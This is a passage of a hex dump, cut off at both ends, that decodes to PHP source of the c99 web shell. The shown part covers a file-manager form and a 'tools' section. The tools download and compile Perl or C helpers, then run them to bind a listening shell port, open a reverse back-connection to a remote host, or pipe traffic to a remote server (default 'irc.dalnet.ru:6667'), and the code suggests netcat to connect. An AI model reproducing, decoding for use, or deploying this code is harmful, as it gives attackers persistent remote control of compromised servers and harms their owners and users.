6D 20 3D 20 22 2E 28 63 6F 75 6E 74 28 24 74 61 62 6C 65 29 2D 32 29 2E 22 3B 0A 20 20 20 77 68 69 6C 65 20 28 69 64 20 3C 3D 20 6E 75 6D 29 0A 20 20 20 7B 0A 20 20 20 20 64 6F 63 75 6D 65 6E 74 2E 67 65 74 45 6C 65 6D 65 6E 74 42 79 49 64 28 27 61 63 74 62 6F 78 27 2B 69 64 29 2E 63 68 65 63 6B 65 64 20 3D 20 21 64 6F 63 75 6D 65 6E 74 2E 67 65 74 45 6C 65 6D 65 6E 74 42 79 49 64 28 27 61 63 74 62 6F 78 27 2B 69 64 29 2E 63 68 65 63 6B 65 64 3B 0A 20 20 20 20 69 64 2B 2B 3B 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 3C 2F 73 63 72 69 70 74 3E 0A 20 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 62 75 74 74 6F 6E 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 6C 73 5F 73 65 74 63 68 65 63 6B 62 6F 78 61 6C 6C 28 74 72 75 65 29 3B 5C 22 20 76 61 6C 75 65 3D 5C 22 53 65 6C 65 63 74 20 61 6C 6C 5C 22 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 62 75 74 74 6F 6E 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 6C 73 5F 73 65 74 63 68 65 63 6B 62 6F 78 61 6C 6C 28 66 61 6C 73 65 29 3B 5C 22 20 76 61 6C 75 65 3D 5C 22 55 6E 73 65 6C 65 63 74 20 61 6C 6C 5C 22 3E 20 0A 20 20 3C 62 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 61 72 72 6F 77 5F 6C 74 72 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 3B 0A 20 20 69 66 20 28 63 6F 75 6E 74 28 61 72 72 61 79 5F 6D 65 72 67 65 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 2C 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 29 29 20 3E 20 30 20 61 6E 64 20 28 24 75 73 65 66 73 62 75 66 66 29 29 0A 20 20 7B 0A 20 20 20 65 63 68 6F 20 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 61 63 74 61 72 63 62 75 66 66 20 76 61 6C 75 65 3D 5C 22 50 61 63 6B 20 62 75 66 66 65 72 20 74 6F 20 61 72 63 68 69 76 65 5C 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 61 63 74 61 72 63 62 75 66 66 5F 70 61 74 68 5C 22 20 76 61 6C 75 65 3D 5C 22 61 72 63 68 69 76 65 5F 22 2E 73 75 62 73 74 72 28 6D 64 35 28 72 61 6E 64 28 31 2C 31 30 30 30 29 2E 72 61 6E 64 28 31 2C 31 30 30 30 29 29 2C 30 2C 35 29 2E 22 2E 74 61 72 2E 67 7A 5C 22 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 5C 22 61 63 74 70 61 73 74 65 62 75 66 66 5C 22 20 76 61 6C 75 65 3D 5C 22 50 61 73 74 65 5C 22 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 5C 22 61 63 74 65 6D 70 74 79 62 75 66 66 5C 22 20 76 61 6C 75 65 3D 5C 22 45 6D 70 74 79 20 62 75 66 66 65 72 5C 22 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 3B 0A 20 20 7D 0A 20 20 65 63 68 6F 20 22 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 61 63 74 3E 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 22 2E 24 61 63 74 2E 22 5C 22 3E 57 69 74 68 20 73 65 6C 65 63 74 65 64 3A 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 64 65 6C 65 74 65 22 2E 28 24 64 73 70 61 63 74 20 3D 3D 20 22 64 65 6C 65 74 65 22 3F 22 20 73 65 6C 65 63 74 65 64 22 3A 22 22 29 2E 22 3E 44 65 6C 65 74 65 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 63 68 6D 6F 64 22 2E 28 24 64 73 70 61 63 74 20 3D 3D 20 22 63 68 6D 6F 64 22 3F 22 20 73 65 6C 65 63 74 65 64 22 3A 22 22 29 2E 22 3E 43 68 61 6E 67 65 2D 6D 6F 64 65 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 69 66 20 28 24 75 73 65 66 73 62 75 66 66 29 0A 20 20 7B 0A 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 63 75 74 22 2E 28 24 64 73 70 61 63 74 20 3D 3D 20 22 63 75 74 22 3F 22 20 73 65 6C 65 63 74 65 64 22 3A 22 22 29 2E 22 3E 43 75 74 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 63 6F 70 79 22 2E 28 24 64 73 70 61 63 74 20 3D 3D 20 22 63 6F 70 79 22 3F 22 20 73 65 6C 65 63 74 65 64 22 3A 22 22 29 2E 22 3E 43 6F 70 79 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 20 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 75 6E 73 65 6C 65 63 74 22 2E 28 24 64 73 70 61 63 74 20 3D 3D 20 22 75 6E 73 65 6C 65 63 74 22 3F 22 20 73 65 6C 65 63 74 65 64 22 3A 22 22 29 2E 22 3E 55 6E 73 65 6C 65 63 74 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 0A 20 20 7D 0A 20 20 65 63 68 6F 20 22 3C 2F 73 65 6C 65 63 74 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 43 6F 6E 66 69 72 6D 5C 22 3E 3C 2F 70 3E 22 3B 0A 20 20 65 63 68 6F 20 22 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 74 6F 6F 6C 73 22 29 0A 7B 0A 20 24 62 6E 64 70 6F 72 74 73 72 63 73 20 3D 20 61 72 72 61 79 28 0A 20 20 22 63 39 39 73 68 5F 62 69 6E 64 70 6F 72 74 2E 70 6C 22 3D 3E 61 72 72 61 79 28 22 55 73 69 6E 67 20 50 45 52 4C 22 2C 22 70 65 72 6C 20 25 70 61 74 68 20 25 70 6F 72 74 22 29 2C 0A 20 20 22 63 39 39 73 68 5F 62 69 6E 64 70 6F 72 74 2E 63 22 3D 3E 61 72 72 61 79 28 22 55 73 69 6E 67 20 43 22 2C 22 25 70 61 74 68 20 25 70 6F 72 74 20 25 70 61 73 73 22 29 0A 20 29 3B 0A 20 24 62 63 73 72 63 73 20 3D 20 61 72 72 61 79 28 0A 20 20 22 63 39 39 73 68 5F 62 61 63 6B 63 6F 6E 6E 2E 70 6C 22 3D 3E 61 72 72 61 79 28 22 55 73 69 6E 67 20 50 45 52 4C 22 2C 22 70 65 72 6C 20 25 70 61 74 68 20 25 68 6F 73 74 20 25 70 6F 72 74 22 29 2C 0A 20 20 22 63 39 39 73 68 5F 62 61 63 6B 63 6F 6E 6E 2E 63 22 3D 3E 61 72 72 61 79 28 22 55 73 69 6E 67 20 43 22 2C 22 25 70 61 74 68 20 25 68 6F 73 74 20 25 70 6F 72 74 22 29 0A 20 29 3B 0A 20 24 64 70 73 72 63 73 20 3D 20 61 72 72 61 79 28 0A 20 20 22 63 39 39 73 68 5F 64 61 74 61 70 69 70 65 2E 70 6C 22 3D 3E 61 72 72 61 79 28 22 55 73 69 6E 67 20 50 45 52 4C 22 2C 22 70 65 72 6C 20 25 70 61 74 68 20 25 6C 6F 63 61 6C 70 6F 72 74 20 25 72 65 6D 6F 74 65 68 6F 73 74 20 25 72 65 6D 6F 74 65 70 6F 72 74 22 29 2C 0A 20 20 22 63 39 39 73 68 5F 64 61 74 61 70 69 70 65 2E 63 22 3D 3E 61 72 72 61 79 28 22 55 73 69 6E 67 20 43 22 2C 22 25 70 61 74 68 20 25 6C 6F 63 61 6C 70 6F 72 74 20 25 72 65 6D 6F 74 65 70 6F 72 74 20 25 72 65 6D 6F 74 65 68 6F 73 74 22 29 0A 20 29 3B 0A 20 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 62 69 6E 64 29 29 20 7B 24 62 69 6E 64 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 20 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 62 63 29 29 20 7B 24 62 63 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 20 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 64 61 74 61 70 69 70 65 29 29 20 7B 24 64 61 74 61 70 69 70 65 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 20 0A 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 29 29 20 7B 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 20 3D 20 24 62 69 6E 64 70 6F 72 74 5F 70 6F 72 74 3B 7D 0A 20 69 66 20 28 65 6D 70 74 79 28 24 62 69 6E 64 5B 22 70 61 73 73 22 5D 29 29 20 7B 24 62 69 6E 64 5B 22 70 61 73 73 22 5D 20 3D 20 24 62 69 6E 64 70 6F 72 74 5F 70 61 73 73 3B 7D 0A 20 20 0A 20 69 66 20 28 65 6D 70 74 79 28 24 62 63 5B 22 68 6F 73 74 22 5D 29 29 20 7B 24 62 63 5B 22 68 6F 73 74 22 5D 20 3D 20 67 65 74 65 6E 76 28 22 52 45 4D 4F 54 45 5F 41 44 44 52 22 29 3B 7D 0A 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 62 63 5B 22 70 6F 72 74 22 5D 29 29 20 7B 24 62 63 5B 22 70 6F 72 74 22 5D 20 3D 20 24 62 63 5F 70 6F 72 74 3B 7D 0A 20 0A 20 69 66 20 28 65 6D 70 74 79 28 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 61 64 64 72 22 5D 29 29 20 7B 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 61 64 64 72 22 5D 20 3D 20 22 69 72 63 2E 64 61 6C 6E 65 74 2E 72 75 3A 36 36 36 37 22 3B 7D 0A 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 64 61 74 61 70 69 70 65 5B 22 6C 6F 63 61 6C 70 6F 72 74 22 5D 29 29 20 7B 24 64 61 74 61 70 69 70 65 5B 22 6C 6F 63 61 6C 70 6F 72 74 22 5D 20 3D 20 24 64 61 74 61 70 69 70 65 5F 6C 6F 63 61 6C 70 6F 72 74 3B 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 62 69 6E 64 73 75 62 6D 69 74 29 29 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 52 65 73 75 6C 74 20 6F 66 20 62 69 6E 64 69 6E 67 20 70 6F 72 74 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 24 76 20 3D 20 24 62 6E 64 70 6F 72 74 73 72 63 73 5B 24 62 69 6E 64 5B 22 73 72 63 22 5D 5D 3B 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 76 29 29 20 7B 65 63 68 6F 20 22 55 6E 6B 6E 6F 77 6E 20 66 69 6C 65 21 3C 62 72 3E 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 66 73 6F 63 6B 6F 70 65 6E 28 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 41 44 44 52 22 29 2C 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 2C 24 65 72 72 6E 6F 2C 24 65 72 72 73 74 72 2C 30 2E 31 29 29 20 7B 65 63 68 6F 20 22 50 6F 72 74 20 61 6C 72 65 64 79 20 69 6E 20 75 73 65 2C 20 73 65 6C 65 63 74 20 61 6E 79 20 6F 74 68 65 72 21 3C 62 72 3E 22 3B 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 24 77 20 3D 20 65 78 70 6C 6F 64 65 28 22 2E 22 2C 24 62 69 6E 64 5B 22 73 72 63 22 5D 29 3B 0A 20 20 20 24 65 78 74 20 3D 20 24 77 5B 63 6F 75 6E 74 28 24 77 29 2D 31 5D 3B 0A 20 20 20 75 6E 73 65 74 28 24 77 5B 63 6F 75 6E 74 28 24 77 29 2D 31 5D 29 3B 0A 20 20 20 24 73 72 63 70 61 74 68 20 3D 20 6A 6F 69 6E 28 22 2E 22 2C 24 77 29 2E 22 2E 22 2E 72 61 6E 64 28 30 2C 39 39 39 29 2E 22 2E 22 2E 24 65 78 74 3B 0A 20 20 20 24 62 69 6E 70 61 74 68 20 3D 20 24 74 6D 70 64 69 72 2E 6A 6F 69 6E 28 22 2E 22 2C 24 77 29 2E 72 61 6E 64 28 30 2C 39 39 39 29 3B 0A 20 20 20 69 66 20 28 24 65 78 74 20 3D 3D 20 22 70 6C 22 29 20 7B 24 62 69 6E 70 61 74 68 20 3D 20 24 73 72 63 70 61 74 68 3B 7D 0A 20 20 20 40 75 6E 6C 69 6E 6B 28 24 73 72 63 70 61 74 68 29 3B 0A 20 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 24 73 72 63 70 61 74 68 2C 22 61 62 2B 22 29 3B 0A 20 20 20 69 66 20 28 21 24 66 70 29 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 77 72 69 74 65 20 73 6F 75 72 63 65 73 20 74 6F 20 5C 22 22 2E 24 73 72 63 70 61 74 68 2E 22 5C 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 21 24 64 61 74 61 20 3D 20 63 39 39 67 65 74 73 6F 75 72 63 65 28 24 62 69 6E 64 5B 22 73 72 63 22 5D 29 29 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 64 6F 77 6E 6C 6F 61 64 20 73 6F 75 72 63 65 73 21 22 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 66 77 72 69 74 65 28 24 66 70 2C 24 64 61 74 61 2C 73 74 72 6C 65 6E 28 24 64 61 74 61 29 29 3B 0A 20 20 20 20 66 63 6C 6F 73 65 28 24 66 70 29 3B 0A 20 20 20 20 69 66 20 28 24 65 78 74 20 3D 3D 20 22 63 22 29 20 7B 24 72 65 74 67 63 63 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 67 63 63 20 2D 6F 20 22 2E 24 62 69 6E 70 61 74 68 2E 22 20 22 2E 24 73 72 63 70 61 74 68 29 3B 20 20 40 75 6E 6C 69 6E 6B 28 24 73 72 63 70 61 74 68 29 3B 7D 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 70 61 74 68 22 2C 24 62 69 6E 70 61 74 68 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 70 6F 72 74 22 2C 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 70 61 73 73 22 2C 24 62 69 6E 64 5B 22 70 61 73 73 22 5D 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 2F 2F 22 2C 22 2F 22 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 72 65 74 62 69 6E 64 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 24 76 5B 31 5D 2E 22 20 3E 20 2F 64 65 76 2F 6E 75 6C 6C 20 26 22 29 3B 0A 20 20 20 20 73 6C 65 65 70 28 35 29 3B 0A 20 20 20 20 24 73 6F 63 6B 20 3D 20 66 73 6F 63 6B 6F 70 65 6E 28 22 6C 6F 63 61 6C 68 6F 73 74 22 2C 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 2C 24 65 72 72 6E 6F 2C 24 65 72 72 73 74 72 2C 35 29 3B 0A 20 20 20 20 69 66 20 28 21 24 73 6F 63 6B 29 20 7B 65 63 68 6F 20 22 49 20 63 61 6E 27 74 20 63 6F 6E 6E 65 63 74 20 74 6F 20 6C 6F 63 61 6C 68 6F 73 74 3A 22 2E 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 2E 22 21 20 49 20 74 68 69 6E 6B 20 79 6F 75 20 73 68 6F 75 6C 64 20 63 6F 6E 66 69 67 75 72 65 20 79 6F 75 72 20 66 69 72 65 77 61 6C 6C 2E 22 3B 7D 0A 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 42 69 6E 64 69 6E 67 2E 2E 2E 20 6F 6B 21 20 43 6F 6E 6E 65 63 74 20 74 6F 20 3C 62 3E 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 41 44 44 52 22 29 2E 22 3A 22 2E 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 2E 22 3C 2F 62 3E 21 20 59 6F 75 20 73 68 6F 75 6C 64 20 75 73 65 20 4E 65 74 43 61 74 26 63 6F 70 79 3B 2C 20 72 75 6E 20 5C 22 3C 62 3E 6E 63 20 2D 76 20 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 41 44 44 52 22 29 2E 22 20 22 2E 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 2E 22 3C 2F 62 3E 5C 22 21 3C 63 65 6E 74 65 72 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 70 72 6F 63 65 73 73 65 73 26 67 72 65 70 3D 22 2E 62 61 73 65 6E 61 6D 65 28 24 62 69 6E 70 61 74 68 29 2E 22 5C 22 3E 3C 75 3E 56 69 65 77 20 62 69 6E 64 65 72 27 73 20 70 72 6F 63 65 73 73 3C 2F 75 3E 3C 2F 61 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 20 20 7D 0A 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 22 3B 0A 20 20 7D 0A 20 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 62 63 73 75 62 6D 69 74 29 29 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 52 65 73 75 6C 74 20 6F 66 20 62 61 63 6B 20 63 6F 6E 6E 65 63 74 69 6F 6E 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 24 76 20 3D 20 24 62 63 73 72 63 73 5B 24 62 63 5B 22 73 72 63 22 5D 5D 3B 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 76 29 29 20 7B 65 63 68 6F 20 22 55 6E 6B 6E 6F 77 6E 20 66 69 6C 65 21 3C 62 72 3E 22 3B 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 24 77 20 3D 20 65 78 70 6C 6F 64 65 28 22 2E 22 2C 24 62 63 5B 22 73 72 63 22 5D 29 3B 0A 20 20 20 24 65 78 74 20 3D 20 24 77 5B 63 6F 75 6E 74 28 24 77 29 2D 31 5D 3B 0A 20 20 20 75 6E 73 65 74 28 24 77 5B 63 6F 75 6E 74 28 24 77 29 2D 31 5D 29 3B 0A 20 20 20 24 73 72 63 70 61 74 68 20 3D 20 6A 6F 69 6E 28 22 2E 22 2C 24 77 29 2E 22 2E 22 2E 72 61 6E 64 28 30 2C 39 39 39 29 2E 22 2E 22 2E 24 65 78 74 3B 0A 20 20 20 24 62 69 6E 70 61 74 68 20 3D 20 24 74 6D 70 64 69 72 2E 6A 6F 69 6E 28 22 2E 22 2C 24 77 29 2E 72 61 6E 64 28 30 2C 39 39 39 29 3B 0A 20 20 20 69 66 20 28 24 65 78 74 20 3D 3D 20 22 70 6C 22 29 20 7B 24 62 69 6E 70 61 74 68 20 3D 20 24 73 72 63 70 61 74 68 3B 7D 0A 20 20 20 40 75 6E 6C 69 6E 6B 28 24 73 72 63 70 61 74 68 29 3B 0A 20 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 24 73 72 63 70 61 74 68 2C 22 61 62 2B 22 29 3B 0A 20 20 20 69 66 20 28 21 24 66 70 29 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 77 72 69 74 65 20 73 6F 75 72 63 65 73 20 74 6F 20 5C 22 22 2E 24 73 72 63 70 61 74 68 2E 22 5C 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 21 24 64 61 74 61 20 3D 20 63 39 39 67 65 74 73 6F 75 72 63 65 28 24 62 63 5B 22 73 72 63 22 5D 29 29 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 64 6F 77 6E 6C 6F 61 64 20 73 6F 75 72 63 65 73 21 22 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 66 77 72 69 74 65 28 24 66 70 2C 24 64 61 74 61 2C 73 74 72 6C 65 6E 28 24 64 61 74 61 29 29 3B 0A 20 20 20 20 66 63 6C 6F 73 65 28 24 66 70 29 3B 0A 20 20 20 20 69 66 20 28 24 65 78 74 20 3D 3D 20 22 63 22 29 20 7B 24 72 65 74 67 63 63 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 67 63 63 20 2D 6F 20 22 2E 24 62 69 6E 70 61 74 68 2E 22 20 22 2E 24 73 72 63 70 61 74 68 29 3B 20 40 75 6E 6C 69 6E 6B 28 24 73 72 63 70 61 74 68 29 3B 7D 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 70 61 74 68 22 2C 24 62 69 6E 70 61 74 68 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 68 6F 73 74 22 2C 24 62 63 5B 22 68 6F 73 74 22 5D 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 70 6F 72 74 22 2C 24 62 63 5B 22 70 6F 72 74 22 5D 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 2F 2F 22 2C 22 2F 22 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 72 65 74 62 69 6E 64 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 24 76 5B 31 5D 2E 22 20 3E 20 2F 64 65 76 2F 6E 75 6C 6C 20 26 22 29 3B 0A 20 20 20 20 65 63 68 6F 20 22 4E 6F 77 20 73 63 72 69 70 74 20 74 72 79 20 63 6F 6E 6E 65 63 74 20 74 6F 20 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 62 63 5B 22 68 6F 73 74 22 5D 29 2E 22 3A 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 62 63 5B 22 70 6F 72 74 22 5D 29 2E 22 2E 2E 2E 3C 62 72 3E 22 3B 0A 20 20 20 7D 0A 20 20 7D 0A 20 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 64 70 73 75 62 6D 69 74 29 29 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 52 65 73 75 6C 74 20 6F 66 20 64 61 74 61 70 69 70 65 2D 72 75 6E 6E 69 6E 67 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 24 76 20 3D 20 24 64 70 73 72 63 73 5B 24 64 61 74 61 70 69 70 65 5B 22 73 72 63 22 5D 5D 3B 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 76 29 29 20 7B 65 63 68 6F 20 22 55 6E 6B 6E 6F 77 6E 20 66 69 6C 65 21 3C 62 72 3E 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 66 73 6F 63 6B 6F 70 65 6E 28 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 41 44 44 52 22 29 2C 24 64 61 74 61 70 69 70 65 5B 22 70 6F 72 74 22 5D 2C 24 65 72 72 6E 6F 2C 24 65 72 72 73 74 72 2C 30 2E 31 29 29 20 7B 65 63 68 6F 20 22 50 6F 72 74 20 61 6C 72 65 64 79 20 69 6E 20 75 73 65 2C 20 73 65 6C 65 63 74 20 61 6E 79 20 6F 74 68 65 72 21 3C 62 72 3E 22 3B 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 24 73 72 63 70 61 74 68 20 3D 20 24 74 6D 70 64 69 72 2E 24 64 61 74 61 70 69 70 65 5B 22 73 72 63 22 5D 3B 0A 20 20 20 24 77 20 3D 20 65 78 70 6C 6F 64 65 28 22 2E 22 2C 24 64 61 74 61 70 69 70 65 5B 22 73 72 63 22 5D 29 3B 0A 20 20 20 24 65 78 74 20 3D 20 24 77 5B 63 6F 75 6E 74 28 24 77 29 2D 31 5D 3B 0A 20 20 20 75 6E 73 65 74 28 24 77 5B 63 6F 75 6E 74 28 24 77 29 2D 31 5D 29 3B 0A 20 20 20 24 73 72 63 70 61 74 68 20 3D 20 6A 6F 69 6E 28 22 2E 22 2C 24 77 29 2E 22 2E 22 2E 72 61 6E 64 28 30 2C 39 39 39 29 2E 22 2E 22 2E 24 65 78 74 3B 0A 20 20 20 24 62 69 6E 70 61 74 68 20 3D 20 24 74 6D 70 64 69 72 2E 6A 6F 69 6E 28 22 2E 22 2C 24 77 29 2E 72 61 6E 64 28 30 2C 39 39 39 29 3B 0A 20 20 20 69 66 20 28 24 65 78 74 20 3D 3D 20 22 70 6C 22 29 20 7B 24 62 69 6E 70 61 74 68 20 3D 20 24 73 72 63 70 61 74 68 3B 7D 0A 20 20 20 40 75 6E 6C 69 6E 6B 28 24 73 72 63 70 61 74 68 29 3B 0A 20 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 24 73 72 63 70 61 74 68 2C 22 61 62 2B 22 29 3B 0A 20 20 20 69 66 20 28 21 24 66 70 29 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 77 72 69 74 65 20 73 6F 75 72 63 65 73 20 74 6F 20 5C 22 22 2E 24 73 72 63 70 61 74 68 2E 22 5C 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 21 24 64 61 74 61 20 3D 20 63 39 39 67 65 74 73 6F 75 72 63 65 28 24 64 61 74 61 70 69 70 65 5B 22 73 72 63 22 5D 29 29 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 64 6F 77 6E 6C 6F 61 64 20 73 6F 75 72 63 65 73 21 22 3B 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 66 77 72 69 74 65 28 24 66 70 2C 24 64 61 74 61 2C 73 74 72 6C 65 6E 28 24 64 61 74 61 29 29 3B 0A 20 20 20 20 66 63 6C 6F 73 65 28 24 66 70 29 3B 0A 20 20 20 20 69 66 20 28 24 65 78 74 20 3D 3D 20 22 63 22 29 20 7B 24 72 65 74 67 63 63 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 22 67 63 63 20 2D 6F 20 22 2E 24 62 69 6E 70 61 74 68 2E 22 20 22 2E 24 73 72 63 70 61 74 68 29 3B 20 40 75 6E 6C 69 6E 6B 28 24 73 72 63 70 61 74 68 29 3B 7D 0A 20 20 20 20 6C 69 73 74 28 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 68 6F 73 74 22 5D 2C 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 70 6F 72 74 22 5D 29 20 3D 20 65 78 70 6C 6F 64 65 28 22 3A 22 2C 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 61 64 64 72 22 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 70 61 74 68 22 2C 24 62 69 6E 70 61 74 68 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 6C 6F 63 61 6C 70 6F 72 74 22 2C 24 64 61 74 61 70 69 70 65 5B 22 6C 6F 